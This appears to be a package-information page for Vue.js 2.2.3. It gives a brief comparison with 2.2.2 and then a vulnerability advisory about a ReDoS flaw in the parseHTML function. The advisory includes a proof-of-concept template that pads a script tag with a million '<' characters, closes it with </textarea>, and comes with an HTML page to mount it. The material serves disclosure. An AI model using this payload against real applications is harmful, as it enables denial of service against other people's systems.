Vue 2.2.3 represents a minor update to the popular Vue.js framework, building upon the solid foundation of version 2.2.2. Both versions offer a reactive, component-oriented view layer ideal for crafting modern web interfaces. Focusing on the differences, while the core functionalities remain consistent, developers should consider the updated release date, 2017-03-13, compared to 2017-03-09 for version 2.2.2, suggesting bug fixes and incremental improvements. Crucially, the devDependencies are identical, implying no major tooling shifts occurred between these releases. This stability between versions means developers can upgrade confidently without anticipating compatibility issues within their build processes or testing suites. Vue's strength lies in its progressive adoption, enabling developers to integrate it gradually into existing projects. For projects already using Vue 2.2.2, upgrading to 2.2.3 is a low-risk endeavor, potentially offering subtle performance gains or resolved edge cases. If initiating a new project, opting for the latest (2.2.3) ensures you're leveraging the most up-to-date, albeit incrementally enhanced, version of the framework. Both versions share the same MIT license, confirming their free and open-source nature, and the official repository remains at GitHub, ensuring access to comprehensive documentation and a vibrant community.
All the vulnerabilities related to the version 2.2.3 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.